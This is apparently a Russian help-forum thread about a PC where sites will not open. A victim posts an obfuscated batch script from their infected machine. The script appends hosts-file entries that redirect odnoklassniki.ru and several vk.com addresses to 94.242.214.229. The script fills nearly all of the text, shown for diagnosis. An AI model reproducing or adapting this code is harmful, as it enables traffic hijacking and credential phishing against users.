Интернет есть, сайты не открываются

[PavelA]

Я и так под администраторской учеткой.

Этого недостаточно. Читайте правила внимательнее.
вот еще один обнаружился:

begin
 QuarantineFile('C:\Users\VaniaLSD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\s7VzUMDiH0Q.exe','');
end.

[VaniaLSD]

SET DAVRLSgXD=%systemroot%%unlVHyxY%%bCRVoUQDv%%rgQLwGZlJ%%UVElhQjlS%%bSLFNNQAi%%kPQqgNTYk%%XSEGumla%%UhoqDgkcS%%efosVnVvE%%jXAwEFSo%%InYjtmTo%
#mYjorHujARu#
SET EmmlcXxJ=###
SET BEokrxcC=t
#AlhfOJuSeBSIwsWDn#
SET qhgLrolPl=##
SET HpDGqwsG=o
#FsHjLBIGfqXzBN#

SET SlfRuiypA=##
SET OTxGCjUTR=N
#YDkCkfeZIlQdULOzvg#
SET JQyiNQzBG=###
SET RwJpouxUc=KJ
#iUskdsjKXSKmjUr#
SET PCGEhwwLP=##
SET BQyEZkKN=V
#GEoGVUYwJaLqhUbr#
SET FttWRmzGv=##
SET zNSWQEtPv=u
#hhCGGsxvOieVy#
SET CoLnRlpi=###
SET nncacIZI=mj
#BKfcgqtyQQhAZctFX#
SET tVAgvGOIU=###
SET FXQcZnew=uL
SET qUrrpqiKL=###
SET FsIHTJCB=BoO
#rVvTCDTquIDPLRHE#
SET uVslTjmAF=###
SET FlfLaKDgI=X
#gRoHCwyKENgEhcyDYqW#
SET UNDNSciTR=###
SET dGgVpYXGK=tOj
#fKhvBJJOFAdE#
SET UksvVEIFg=##
SET srJFvsSSZ=Om
#haUhujNbhBhvuOGFp#
SET KyyjGBVQY=##
SET qQWAfBWrw=c
SET eoJZgfky=%uVslTjmAF%%JQyiNQzBG%%FttWRmzGv%%CoLnRlpi%%KyyjGBVQY%%PCGEhwwLP%%tVAgvGOIU%%UksvVEIFg%%UNDNSciTR%%EmmlcXxJ%%qhgLrolPl%%SlfRuiypA%%qUrrpqiKL%
 echo  %eoJZgfky%   >>  hosts
#LVRlpHuDaQWvAFf#
SET /A woIdeNjlH=-24+26
SET XYAyUbELZ=i
#BTCODehRTlxCdjW#
SET WwCeuxUGL=.
SET ROjEGDvE=eC
#lCFxxPnwJWJWDmiioXj#
SET BgrxHSzU=d
SET lzEYLLEjl=aizY
#JOlGpVPvsnNaeXHxU#
SET /A YNdltDccv=-8+10
SET WdeENloWQ=ioOU
#xbXXJFkBVYWiXExJB#
SET enQVkBnf=.
SET XAUTiRgPq=UI

SET /A TfOAAzUJs=-19+23
SET WgWKTDiq=NY
#hTTYQxrHDP#
SET /A lgLHqnXog=-86+95
SET cdBqGhkYi=F
#AjmrfYrVIPB#
SET IJynJqnw=o
SET hcwqQeZUp=ZVZu
#eEJHvGzKJRgtEdGNKt#
SET HzSGNJtgX=	
SET ROCEBGGg=SQ
#TJlTCaesisZRZbJ#
SET jkRvvwRKS= 
SET XBGtUkGCj=byqL
#qUQUkdDXnYeSD#
SET PjFoXGQzR=o
SET LuNFnSsLJ=nULd
#ecgnywluRlVEarJv#

SET /A iGfqJSGos=-65+66
SET DlLUXHjO=YgUi
#HeNbqAmaiVPx#
SET LcNeydVr=k
SET hDesgIxvn=AgN
#TiYBGnDABFjBtp#
SET zSCTaUZnJ=k
SET kdaHInrT=eg
#bkYdAjjPbxR#
SET bwrRoeCg=.
SET skbVOTWct=u
#thrpgXUQWWEPjiinfvq#
SET gwrcLEAqq=l
SET UGGbqLkP=Hn
#rYpkdhoQexrVLwjWqjG#
SET SPJGHmqX= 
SET jtcHmgQY=pxE
#CPenCmNZJhSxT#

SET TKugzcOVE=.
SET OCDunKwX=Ui
#BazKVGEkUKudHExw#
SET ajAOgLls=	
SET cVLTOHYH=l
#FnAEWwrZmSuiVeSz#

SET uvfqijyE=i
SET DrcyaSvJT=BD
#EhzDwTwtUthypXr#
SET /A tstAdnIPj=-3+7
SET XLnZuaCrW=zdR
#SfAVrjkaklykwIDObB#
SET /A DuTmuNYl=-71+75
SET purQByrY=k
#ljsUkbklzkeLRKjED#
SET /A hEZCXWHR=1+1
SET KnbdYEie=vOD
#DKNPqJwinqRhxhyClY#
SET dLqDmaCWn=u
SET DBaBaiLu=AIng
#qOYYmeoEwhx#

SET /A vUYmSNol=-42+44
SET ugoeVmUF=vo
#CFWLGEuAjmNAE#
SET aBPRbvrZ=n
SET GOYZpedvR=C
#JCBJoawAKKS#
SET knZWNlYk=i
SET rYdYcjNXg=xAQd
#gLSRzCnpYwLRhWyb#
SET hSJZdSSkn=a
SET LAXVTNUR=UXb
#IUvabRLkgunC#
SET /A vcgWCYmxj=-2+4
SET IbRzeuGZ=vqWq
#YhPZyqDqwWNTI#
SET PrwQJkRE=	
SET SIFpozFU=hicd
SET ePNYxYdRx=s
SET muRaUZpJg=p
#bpyAXsybNSCx#

SET XyqbfdIX=n
SET ufJidBNE=bKnd
#ZbjkPbgbnhNeO#
SET eCGpNZQT=s
SET cpOcQTyqv=VG
#DVLgUNkYnqFGugfIVU#

SET iiNdFgNA=r
SET fFnlEHZej=ZiZ
#qzWVmxoKjIvpKUxE#
SET /A WIAyTakv=-75+84
SET fCilUOqf=ThnD
SET tqRJBGCjL=%HzSGNJtgX%%ajAOgLls%%PrwQJkRE%%lgLHqnXog%%tstAdnIPj%%WwCeuxUGL%%vcgWCYmxj%%DuTmuNYl%%woIdeNjlH%%TKugzcOVE%%YNdltDccv%%iGfqJSGos%%TfOAAzUJs%%bwrRoeCg%%hEZCXWHR%%vUYmSNol%%WIAyTakv%%SPJGHmqX%%PjFoXGQzR%%BgrxHSzU%%aBPRbvrZ%%IJynJqnw%%zSCTaUZnJ%%gwrcLEAqq%%hSJZdSSkn%%eCGpNZQT%%ePNYxYdRx%%XyqbfdIX%%knZWNlYk%%LcNeydVr%%uvfqijyE%%enQVkBnf%%iiNdFgNA%%dLqDmaCWn%%jkRvvwRKS%
 echo  %tqRJBGCjL%   >>  hosts
#VqAjuFcRjDd#
SET AgYIHGgXs=W.odno
SET FnYkgQCxj=Z
#rVNWlPWPXyPyzIALSK#
SET sacfFZsgp=14.229 WW
SET BJmPzRorI=Nrz
#rceCFjTcAeUKirO#
SET SPgZcXgQL=klassnik
SET VUcFrclr=RfY
#VaYLAJAYPkACWivfC#
SET esaDIvEFI=i.ru 
SET IEhXrywE=ghI
#eNlQAUsyoX#
SET qHmPVCRA=.242.2
SET cbNDdPLU=Ui
#cLXPjeumJiExBU#
SET NwvkKPjhB=				94
SET kcJmsoDg=I
SET UxiQfwxi=%NwvkKPjhB%%qHmPVCRA%%sacfFZsgp%%AgYIHGgXs%%SPgZcXgQL%%esaDIvEFI%
 echo  %UxiQfwxi%   >>  hosts
#uKXjLjPIOQUu#
SET HzkALDBb=.
SET HxTtTkFv=q
#nkzZgeuxBORfRbuGUQv#
SET hycFQyyB=.
SET SvqsZYvXu=RcQa
#ulECBeIQfWBW#

SET LwYYfLAAr=o
SET dCbhVHjW=gek
#oqITsgxdrevyEK#
SET oglgXfGX=u
SET nGxbXePAl=Q
#vJYTpOKjsFBzeg#
SET xrBzwOKGk= 
SET iAnuGHXvg=kQ
#iHuhbhhtFvFULzT#
SET /A swekmzuN=-44+48
SET krPtSynFj=s
#RRPWzkfIQwpXjOt#
SET /A vrPYNXZKs=-2+6
SET mWltTDpwR=l
#RfGejlBdAAxdrvzaLET#
SET VkvkNphv= 
SET DwqFTVxd=Y
#HzIBqDqLnAHCr#
SET EhDmaJCk=d
SET lRfbCPxZY=viTE
#fwvlBSUZkSge#

SET hnXXEacg=i
SET zkzKFnPrU=ak
#nnWsCDsHxpDKe#
SET DheAURyYX= 
SET KavewJBc=dje
#mFIOXnYHtZm#
SET /A VyQqCGJX=-82+86
SET xBRQbUnY=nkmC
#gdwYllesaovNEimAu#
SET KYAchSmrK=	
SET Vbkqwtvh=QF
#DPRifAxIbqbAJfBdQT#
SET XLdNvafN=i
SET jiFmbxeRf=s
#CorKgbQTgAJDJduRsYt#
SET hYNDkfbW= 
SET GEKkpUBa=yDsi
#uvWKzLEHbU#
SET /A nbkwWGti=-44+46
SET ZuRhWzLo=vm
#dclhSIUmhnWn#
SET CvcORHmL=k
SET YxPfplegE=ij
#BaYjvJdRGUZqoWIaCho#
SET /A NHZLAvlSw=-59+61
SET AxcBXJyP=HzsO
#gwkQehrndVPrA#
SET /A vVwlOVLcN=-29+31
SET WAWouBxB=YR
#GIcTAEFcxsAi#
SET rQPuqIkF=l
SET uoYdOCDP=ld
#QhziIdffhxDSzZbDPo#
SET ldQdGCkW=	
SET ImIzQxNQ=A
#AeKLvcZgkxuoiVc#
SET /A UdbvEjTou=-81+82
SET bxFSGXdTc=PSK

SET TBCtxueHH=n
SET LSISWWfWL=gB
#NocgeymEdIrNsFCH#
SET KGDBWijIi=.
SET fbSOwzbIn=vTx
#opRuHDYnVE#
SET /A EpnNpXbjm=-6+8
SET ppYdHDvV=YSbg
#xWgVGBUEIXotnnLx#
SET RAWelFDH=.
SET jjKAoEnc=uIX
#wmNIPXoRQGHQjNIgw#
SET VwZFnFPRB=s
SET FjLwChcYE=dN
#HWOhAQoXmzEhhZs#
SET mhtdhZnuk=.
SET HQAmgbZkj=eqE
#PdtkCRAfuaTbnlQisqE#
SET rgijysnu=o
SET AFYtJSAk=U
#jBOQYsfhazAoVzTC#
SET RqcCukTy=a
SET wXCDuhnL=JXU
#qmpLlUGdXVLu#

SET DuItwFQs=k
SET KqUJBFxq=oR
#AGcZaIaUFjYgA#
SET XIwkuHWCW=	
SET KHjRlqhi=F
#IZyOUXrmYKCn#
SET ZHahITjd=r
SET VSTRAhyH=IEh
#vNibJIigEqDNyNESAH#
SET /A UzQuJBswL=-2+11
SET vGAGLRNF=hq
#eBqkHsIDYOVPUXepSnR#
SET VHAFmrZlo=s
SET RxqUyQSp=gL
#KZKgQeDIgFX#
SET tdZEifrW=m
SET tieSiGSOK=mpi
#cIBlshnbbSJrK#
SET /A QXAAlGurc=-16+18
SET xqvtaHsT=hKR
#lzVbYqkPPKKtzcNgb#
SET /A JUcGUJLa=-10+19
SET khNZFzSsD=hzC
#JkyFLCWNKAnliQWXrO#

SET ceJngSzB=n
SET QFtVWTnT=ESzf
SET aEOAykTre=%XIwkuHWCW%%KYAchSmrK%%ldQdGCkW%%UzQuJBswL%%VyQqCGJX%%KGDBWijIi%%EpnNpXbjm%%vrPYNXZKs%%vVwlOVLcN%%mhtdhZnuk%%nbkwWGti%%UdbvEjTou%%swekmzuN%%hycFQyyB%%NHZLAvlSw%%QXAAlGurc%%JUcGUJLa%%VkvkNphv%%hYNDkfbW%%xrBzwOKGk%%tdZEifrW%%RAWelFDH%%rgijysnu%%EhDmaJCk%%ceJngSzB%%LwYYfLAAr%%DuItwFQs%%rQPuqIkF%%RqcCukTy%%VwZFnFPRB%%VHAFmrZlo%%TBCtxueHH%%hnXXEacg%%CvcORHmL%%XLdNvafN%%HzkALDBb%%ZHahITjd%%oglgXfGX%%DheAURyYX%
 echo  %aEOAykTre%   >>  hosts
SET nVCxZvxiB=ki.ru 
SET hFqQBTEr=DbIY
#JYSdKHottKiSxEpzjBf#
SET dChaDhDyU=.odno
SET bvrzmwVb=y
#iFjvjABSlAXaoBbY#
SET BWLltbTgT=klassni
SET ycxoSFpp=ixEk
#SJLPNCrHhrJsIVfldhb#
SET YaeOUwZm=   WWW.m
SET FsXQeVcNi=d
#ojxzYZemoe#
SET aIOaSyPSW=			94.24
SET GBeRpQFQ=HCKC
#VRQXkIemtOe#
SET tCBHsicp=2.214.229
SET mHfjzjSuc=s
SET pJTunTiZ=%aIOaSyPSW%%tCBHsicp%%YaeOUwZm%%dChaDhDyU%%BWLltbTgT%%nVCxZvxiB%
 echo  %pJTunTiZ%   >>  hosts
#BdLVLcUnjhjxbG#
SET BswShUthN=	
SET BPKuWhuC=irz
#dbumpAQSYfezF#
SET /A AgSiFRHz=-18+20
SET LTkSEylbs=cYLN
#LCJjALmoplH#
SET ndkluURSe=m
SET YLApKCht=QOP
#FpRVwGsAZhAIHFCjQ#

SET ZqhOkuvft= 
SET vPdQYVsU=g
SET /A LnhPyCHlv=-88+97
SET nhGnasei=u
SET ufiklmbt=.
SET bzVUCHXsZ=xX
#TGGrBvfEUSzmKs#
SET /A zJAKUAeYk=-61+65
SET QsbTSGpTH=eS
#YTHeNDZbZmNxsFGTm#
SET /A PRPKOHoyk=-65+67
SET tLtxjgOF=h
#OyxaBqdJISRSUYxky#
SET hjZTuTOuC=	
SET JsHCaOxSo=Iag
#WzsvakngwzNViK#
SET TAQmVcjkO=.
SET bvfPrsFKW=m
#SXAGdJRUlaaQp#
SET /A mShhYKals=-37+41
SET eLHmvdKG=kDV
SET kGSSNGWBo=m
SET XBirDWOV=nvD
#nFWxjFISCfKUpxgcgU#
SET /A CXtANBmXj=-30+32
SET RBKBCYnhv=O
#JdCYukAZKWq#
SET VepYdRKFb=.
SET wqwrjVInu=zhQL
#FUGYGJbseyqCwrrEQ#
SET xePWmUQv= 
SET yCZCJVLg=QUV
SET DGdBLdqPp=o
SET bVxDkPXfr=PW
#vBXquhZTCT#
SET /A lRsTNPOL=-36+38
SET aRBJGKDmh=H
#gmUrQgSlUdlxzvBC#
SET klpUQCFA=.
SET SNUeqVQSJ=FmXr
#QRzSobfVYqidhk#
SET /A rNbbCYqB=-74+83
SET GpQLLCqmO=Ff
#WujPmsvEAG#
SET BVAjYjmaY= 
SET IgmIByBn=HAY
#VCUfYeuQrAVX#
SET OeuQRsUS=	
SET iYCQXGSYF=FW
#dlaVXWpBECpzedYxvaS#
SET /A XxcLkkZWT=-63+65
SET PzRQlobR=wBN
SET uvcxFlJjF=v
SET oywfKpYQ=WNkN
#VdZfhzhcwnJ#
SET /A BQWsveUk=-53+54
SET GPTSrYVTV=qsV
SET yogKTHeJV=c
SET kEfTsFAw=TE
#ygpfUIRiOgob#

SET /A pdPEpDqv=-56+60
SET RLvCeDwC=qC
#eVJeHHAyHpunvZkjC#
SET OeTbdqmZE=.
SET LWOeZxOA=FJ
#IgEYykuhGYFkBokgwt#
SET PTqjTYUT=k
SET ERSJOrbf=qrv
SET gbgRIqcD=%OeuQRsUS%%BswShUthN%%hjZTuTOuC%%LnhPyCHlv%%pdPEpDqv%%VepYdRKFb%%CXtANBmXj%%zJAKUAeYk%%lRsTNPOL%%ufiklmbt%%PRPKOHoyk%%BQWsveUk%%mShhYKals%%klpUQCFA%%XxcLkkZWT%%AgSiFRHz%%rNbbCYqB%%ZqhOkuvft%%BVAjYjmaY%%xePWmUQv%%ndkluURSe%%TAQmVcjkO%%uvcxFlJjF%%PTqjTYUT%%OeTbdqmZE%%yogKTHeJV%%DGdBLdqPp%%kGSSNGWBo%
 echo  %gbgRIqcD%   >>  hosts
#lteLvWUmztDeQhTWE#
SET hLJdhOzRy=2.2
SET PTlTgafCb=Z
#EUtuslfOgy#
SET DJROBUwS=vk.
SET HUWAkHWaQ=r
SET /A ZuNXzixmD=-63+77
SET ZFhbtFGJY=Q
#tSCSqYHoeCdbGZVHL#
SET BkAbCnBq=.m.
SET zAACJwSjH=Dgn
#LvnpAXTBkpSenug#

SET pkELXTsbt=.2
SET BcQfZKbZ=HiX
#XqPGeZEeGNToeaZT#
SET ARlijAoD=29 
SET NIbPShkx=dq
#TqNRzENOBIx#
SET RqqGAUzjv=94.
SET oXtmbzfbe=NffX
#iPspPkxGLBwGxaTrW#
SET wfHaAISJ=  
SET VGhmWYdKV=i
#GBTDSOdLFmghNLgVeP#
SET mWFOqKLH=			
SET pIzQrjbT=U
#oTVJxfqXzgrAVShwU#
SET PQoGQLnB=WWW
SET HvaTEWGFn=xvQ
#vgtYPoEvZS#
SET /A KHftOEhgQ=-11+35
SET zEFUksCtn=cIIo
#vRexeYFTbKJGUkwuna#
SET ziKaoDLD=com
SET rEHwFXbWE=jByF
SET BXrmOlxax=%mWFOqKLH%%RqqGAUzjv%%KHftOEhgQ%%hLJdhOzRy%%ZuNXzixmD%%pkELXTsbt%%ARlijAoD%%wfHaAISJ%%PQoGQLnB%%BkAbCnBq%%DJROBUwS%%ziKaoDLD%
 echo  %BXrmOlxax%   >>  hosts
#YXouyixgVfCAVKPZZ#
SET NeuyJuRB=r
SET qsXRTYWgm=Rtsg
#nDroSoXwkGnugZjJe#
SET QxZWVBdT=.
SET UIlBZKehE=R
#JUHpANvVLOBABCIcvvj#
SET /A agFsdoww=-57+61
SET svvHvECQL=aycY
#kpPNgxhblV#
SET CImLtdxRt= 
SET GCOvhbxT=NKkz
#pNDieXtOREyUS#
SET OPJASeYq=u
SET cowqfKmrw=QZ
#msxGQvDNGmNWddWg#

SET HEGwrfDjO=a
SET GdHePkwd=EBTm
#ZuVsfEPOLeykUCb#
SET /A gQYbrXjXB=-12+14
SET YFFARafG=A
#JGZlEVbomXzw#

SET nbnDZmGrD=k
SET NOKYcSub=x
#DLTYFaLCPKiQcFH#

SET /A qRWCbdJN=-84+86
SET hyUpiwtx=hGt
#KVGQOfveqFCof#
SET IPTjPWzsC=v
SET RaWLGEXe=hy
#UngdAGphNy#
SET /A csYyAHRS=-23+27
SET BZjndNSG=WzC
#zZRHEWmdoHIPZ#
SET DLQdCexHz= 
SET NpjsRYpi=fYj
#axERpdFAPyzOXdIH#
SET /A kjNcpKTPQ=-75+77
SET CsjpcgfGc=R
#VDDsYVmkiVINELBpt#
SET /A nVnqsoYIE=-8+9
SET mxBCHvaeg=uG
#ygFFIJBVLDAxZ#
SET /A UYWgIbFWO=-14+18
SET KtVIvssaI=gqTq
#CjqROlEwILaX#
SET /A jhPtwSFA=-15+17
SET NdaJFNrv=Bkfz
#KXEXYnFeHeYLo#
SET iKaFrDqbi=.
SET ekbpaSDx=sNNJ
#QqWRBBDaHbquexvKsVU#
SET zzedLCVpR=e
SET IAVSBFiQ=Ub
#ORXGBFQdrIyBdRkkiH#
SET /A bsGonsezI=-7+9
SET ZofkIoGe=GYpH
#sElGcadcOj#
SET /A SrrqKTqDE=-82+91
SET ZBsPnzzYU=kaSh
#csfUpSAYZJLxLFXuX#
SET YXzXkhOa=o
SET URozzcnh=Ic
#NWnqJrzaCYdCYl#
SET zLoQvJfJH=k
SET ukgTTbnSV=R
SET inaXzbhyc=.
SET uwJKoLrh=Uk
#lKRHxAagiPBGxdrpPeV#
SET sSTaiQmI=.
SET HQvOCkltb=l
SET EQFFnyJb=	
SET hSUFmAGaD=gv
#HZajUTGBowkuQJcZL#
SET xOpLHhBCY=t
SET kyJFJIrD=bRn

SET /A oVToXNtdf=-22+31
SET KaszAEnYA=Fhna
#JBTyVrHCicoTw#
SET vczLjlKGy=	
SET EfZuanfp=uX
#iyLcfkEHkRN#
SET mSsUOBrfp=n
SET bUQmOBPGe=F
#PmClHItqVIKPBKax#
SET RkksPlBNG=	
SET GKkdbrLGd=YP
#HgnkKlxzmXWXSk#
SET JsTQlzcwR=t
SET kJFOOhghX=CPWd
SET xzJLFTTRd=%RkksPlBNG%%EQFFnyJb%%oVToXNtdf%%agFsdoww%%iKaFrDqbi%%qRWCbdJN%%csYyAHRS%%gQYbrXjXB%%QxZWVBdT%%kjNcpKTPQ%%nVnqsoYIE%%UYWgIbFWO%%inaXzbhyc%%bsGonsezI%%jhPtwSFA%%SrrqKTqDE%%DLQdCexHz%%vczLjlKGy%%IPTjPWzsC%%nbnDZmGrD%%YXzXkhOa%%mSsUOBrfp%%xOpLHhBCY%%HEGwrfDjO%%zLoQvJfJH%%JsTQlzcwR%%zzedLCVpR%%sSTaiQmI%%NeuyJuRB%%OPJASeYq%%CImLtdxRt%
 echo  %xzJLFTTRd%   >>  hosts
#ceERwxpIpmJ#
SET QBOhRxsR=.
SET vHZFfCYZJ=Sew
SET cXNLYygvO= 
SET VzWNEcoJo=VvkV
#LkoBijCrsmzQ#
SET /A axuSIcCl=-33+37
SET NrUcONWNt=q
#IOYtOFgKbch#
SET FYcEjRPG=v
SET gSLRAtQA=ZobX
#ctpDgvHVGjmgWdf#
SET BaxKDfdy=w
SET VUCtkCFZ=W
#ygbnzymsPIRTQRqYk#
SET RtxPXTpF=a
SET VsRwnHdF=f
#slEmhgaooknc#
SET /A UpZTaXpap=-40+44
SET qrJRPOce=Xb
#qIJIBrGUsTKfKi#
SET NFphfHkuA= 
SET fhjcJgLK=SsQ
#aZuElajZEJn#
SET hBmYrLkB=n
SET syzAdHzDa=Pcc
#ltUtpiGtvbLXmOdUVB#
SET /A RpmJYmmo=-79+81
SET jGPthbEYe=l
#nhmnApfRsPc#
SET ihVXclip=.
SET xpFsbsRE=DGdy
#tUONjYUQSSBilvGnNe#

SET /A TtsEfJOFi=-97+98
SET fogxQjtNk=enY
#OrzztQfdYrZhIaYK#
SET /A PHoGDZsf=-54+56
SET ctRPtBVH=doOd
#YhnfuhtNrABAH#
SET PlpHxkWbA= 
SET agBShPsB=XV
#XXRtvEJkRNNDxeWXWL#
SET /A VghPswTJ=-79+81
SET AuKZNFIKQ=L
#BwIzWlaAqWmLYiH#
SET ZAfwVRLKH= 
SET vLCpxokN=aH
#ewThFAjnTB#
SET kWqRsWam=k
SET zLOkpQkb=Jm
SET mqdxxCwlQ=r
SET rLkGXjbHP=Op
SET xiABUrYq= 
SET jouPDGWiW=KFeN
#dJaUNQlhjBABNGNqGf#
SET jDUnYlEB=.
SET ailorHTIg=lpsy
#gGIndoPiHcNacSFqWuS#

SET zWpHwFXNi=w
SET yKKZOiJxK=rViS
#TOpumFYRQzSzVUtJIDs#
SET BksqAGtc=e
SET UqcVFHtk=hg
#DbKbHrRZelyNRnymAmD#

SET aHRCpavqc=u
SET ajAPtTdsk=POgg
#dUfWnJqdFPLj#
SET syhBPmZR=	
SET cVJgyRTSt=cDiz
SET ECZNwZkV= 
SET HlWkPJAk=JK
#BsOSjcYJzbohzrRt#
SET BxukRtWNJ=o
SET WiaQzyYaZ=dk
#pnXtyNhLXLcIGXFCeQB#
SET /A lxHUtQzK=-13+15
SET FTippUkR=yr
#WvpfIZWtpxDPpHum#

SET qWRiAEqVy= 
SET TYpEOXDR=RkSX
#nIAFJkBbWdZxBjRA#
SET QjNrZjLg=t
SET xjeOsSBX=mKQc
#OrWGpASwCkni#
SET QrURFPPaJ=w
SET LkSGTlke=Qoq
#OsfCDKjnbeKpkTGYJOu#

SET /A ZpCKFUSnj=-90+92
SET JXIkzdyX=noz
#oZWyBbHgtqqONwozaGS#
SET JCCAZRyN=t
SET zzyoFEXWm=S
#cNhIOgHmJo#

SET /A PyFeJxTb=-15+24
SET zeeJsOha=LXuS
#IqFFljxWgGkTqzj#
SET UTeZvhYXC=.
SET ZRPBRmNj=rjE
#ZTjUHgdIIZmvo#

SET /A uinzSRJk=-61+70
SET USTAvJJk=Bjga
#ooiqvAwDmCViQhDS#
SET IKwoYDNu=.
SET bzuWWVDzY=Ym
SET /A pTlJrttHd=-54+58
SET WUNkYutmU=vFc
#cCPGvpityPQVo#
SET vwkwjSOm=k
SET YaxUJyWwB=gV
SET YtBUzmcS=%syhBPmZR%%qWRiAEqVy%%ZAfwVRLKH%%uinzSRJk%%pTlJrttHd%%jDUnYlEB%%lxHUtQzK%%axuSIcCl%%ZpCKFUSnj%%IKwoYDNu%%VghPswTJ%%TtsEfJOFi%%UpZTaXpap%%QBOhRxsR%%PHoGDZsf%%RpmJYmmo%%PyFeJxTb%%cXNLYygvO%%xiABUrYq%%PlpHxkWbA%%NFphfHkuA%%zWpHwFXNi%%BaxKDfdy%%QrURFPPaJ%%ihVXclip%%FYcEjRPG%%kWqRsWam%%BxukRtWNJ%%hBmYrLkB%%QjNrZjLg%%RtxPXTpF%%vwkwjSOm%%JCCAZRyN%%BksqAGtc%%UTeZvhYXC%%mqdxxCwlQ%%aHRCpavqc%%ECZNwZkV%
 echo  %YtBUzmcS%   >>  hosts
#GXpIsqqTPyYdBCcn#
SET hWuDfYyrE=.
SET YKuepCmL=yq
#YOZzBcJUgVcLO#
SET xBIncrcZj=v
SET kbEqVvPxU=uc
#yiXYBOFuqzCHSU#
SET /A EiRtQhmxe=-71+73
SET uhiQNSpYP=AlnC
#OjseDBKfCwhg#
SET wuSQPcAt=.
SET DOucUJlyh=xdy
#uOXWaXYpKvOoLeFGRp#
SET /A TEPFjUGP=-31+35
SET KskBmmfr=W
#yHlXBCYgCSAu#
SET qdcUiIaec=k
SET tGhNBETrR=Wu
#uxZGPcwVJrretFpVc#
SET /A hhHANbrr=-65+67
SET KKbiouEI=Q
#WAnbQfsGReJ#
SET /A phwKpssJH=-70+72
SET QPFgYwSss=FToR
#SOOBdDseZmdkTWFKBYZ#
SET /A nbNVKKwR=-67+71
SET ZjoOLWyJv=hDyj
#LGREHjgYWUpWCqnBzd#
SET /A VEnRnFsnF=-18+20
SET ARPxQNyP=UxY
SET AdLYnYpE= 
SET DuwADpgig=YB
#lPBuCWUKeeRxSpzrEA#

SET FlciNeaFG=.
SET UsCwvxZgA=FttZ
#tYjAWKpiqWEEoSh#
SET DSHSnpUG=o
SET luAvUBSvI=WSw
#fXtBVPhuLOQAWnUPln#
SET UiTHVEiH=.
SET OTDkIlId=u
#LZrquiZtvTTnvpOPYq#
SET DGhedRUf=	
SET ojerogevQ=Ev
#ThvodBTQRzR#
SET CEytOCKjj=t
SET dFLFdcrIw=lS
#tHJHZAtAzQq#
SET jVAmFGSkD= 
SET hefCPttc=QRF
#GhgQGwvXxsEllciAGmO#
SET hSWXCuBXb=r
SET qdDRABnz=EVC
#smwwQTagPCYTFDPXQ#
SET OvKnjfBLE=n
SET zhCJzFEWA=GJW
SET JtPcREWHq= 
SET lbhjKjzU=uT
#sNfxUNHwrVHp#
SET /A alZbEnLb=-43+52
SET qzufnBLxb=iLfi
#ncJRiCdPPKylXEZDD#
SET GuoShpVA=e
SET doHgVSrXI=dpF
#KximmxpnHZCC#

SET PKviybsRS= 
SET WwZExBIP=EYt
#jpnyQsfNQCNPsxrmEfF#
SET /A YzJYuhSi=-10+12
SET dZNxPokf=g
#WrhFepjXtBRUCclWj#
SET svvxDVkq=t
SET okbtcFgJv=atxk
SET fsyqEzGSi=.
SET NANKPCosD=R
#nhpAhbYKzmpCHvIQm#
SET oacFbQpk= 
SET DyJOYPUa=c
#QKxmCRZYuRRQBR#
SET CWeGgKkSc=M
SET wKArXWao=c
#VnUDGPmryeyqNNdkC#
SET eINLkyuLr=u
SET QVCPFWYID=NR
#hLhOBWbVuHvtmc#
SET ukjbsZadf= 
SET nswLnSBAP=sm
#fPyuiCQnGo#
SET /A RgBnEsIE=-49+50
SET jwvFzGqtK=c
#fKrxYZmJjoYbb#
SET /A nmwpVhnEk=-21+30
SET FKqOmEqU=DIZq
SET nRASRKpOo=a
SET PkpPTltq=JwS
#QwqInqaLEo#
SET /A LWuSfzyZD=-92+96
SET WGkRhxUyx=mTn
#HmubqtzfVHfi#
SET ZXsaQNIri=k
SET EliSbwbd=AH
#xkqrOlAUdCE#
SET dlmTtLZF= 
SET ikEpFoXw=AQa
SET WWyrqTmL=%JtPcREWHq%%AdLYnYpE%%dlmTtLZF%%oacFbQpk%%ukjbsZadf%%nmwpVhnEk%%TEPFjUGP%%FlciNeaFG%%YzJYuhSi%%nbNVKKwR%%EiRtQhmxe%%wuSQPcAt%%VEnRnFsnF%%RgBnEsIE%%LWuSfzyZD%%hWuDfYyrE%%hhHANbrr%%phwKpssJH%%alZbEnLb%%PKviybsRS%%DGhedRUf%%CWeGgKkSc%%fsyqEzGSi%%xBIncrcZj%%ZXsaQNIri%%DSHSnpUG%%OvKnjfBLE%%svvxDVkq%%nRASRKpOo%%qdcUiIaec%%CEytOCKjj%%GuoShpVA%%UiTHVEiH%%hSWXCuBXb%%eINLkyuLr%%jVAmFGSkD%
 echo  %WWyrqTmL%   >>  hosts
#ySwnzCbidtO#
SET oCjUPfVn=k
SET yNwAZdpqa=XlaH
#pgdgjOyLuZjUZkPG#
SET eDzAjIYU= 
SET jynTvpDbq=G
#QmqazHIpIaKXc#
SET dPJOrubk= 
SET KBtPrqXms=cR
#dSaStmJjZRluPCHs#
SET /A LSWTdEvt=-81+83
SET wRVxPXSb=trz
#qZwgRYitbvEAqTWN#
SET PQGrOttk= 
SET JxDdFFbI=noEH
#ngqcvhqWtEr#
SET euuzUojt= 
SET SFPnKCHiX=d
#YOhusuRYyvRfBoE#
SET /A ixeyWlfjV=-65+69
SET EgWvxgkB=Qqr
SET rifJcXxni= 
SET GWlxXsIju=j
#tLBnvYabGQXEzWYbKjk#
SET oimYlHPJ=.
SET TseRJRtp=l
#DmsodpInCKAFra#
SET /A NXEtqawWk=-12+14
SET rsoHFvljN=H
#ALJxILQwtwwP#
SET GIGEzfNA= 
SET ukBNCnYE=Wqmm
SET /A WCKDTdOwC=-87+96
SET cfxCzpslQ=j
#HtgNpSNpQlHwbHvvKl#

SET /A sxditAvm=-24+26
SET pLjZebdU=o
#IJbeYwiXImcHWJBiFzH#
SET qldNvKjn=c
SET nCkKykbnp=sW
#VyHQOZFcvIWGkVc#

SET KvePKZQJP=.
SET ekDgrvwOA=m
#YVgROAcBnAShgdqB#

SET iryJKdvV=m
SET VViNXOPx=ivV
#bmriHpgJuLNHzz#
SET QwJOnrEpg=o
SET AXDeQgyt=tS
SET /A QrDdqInDc=-42+51
SET mPfRoQfnm=NU
#RnyVoJmVuF#
SET hcFKQKRq= 
SET vBFItCIlx=NcdO
#TEEPbWZZnrjfVEy#
SET /A GeRCfDtD=-52+53
SET TuTGXfgG=QvkH
#uRIodvlYgGmTLABXbx#
SET yYKJjrhJy= 
SET lEyHKHvF=jgDp
#qarDZxoqQamNGYq#
SET /A dzKiibtrj=-90+94
SET pgzkyhBfw=F
#HlGIwjWYmzHVr#
SET zOzJfQmX=.
SET hzYiruqs=HQ
#ReXxrPsHSuTGsK#
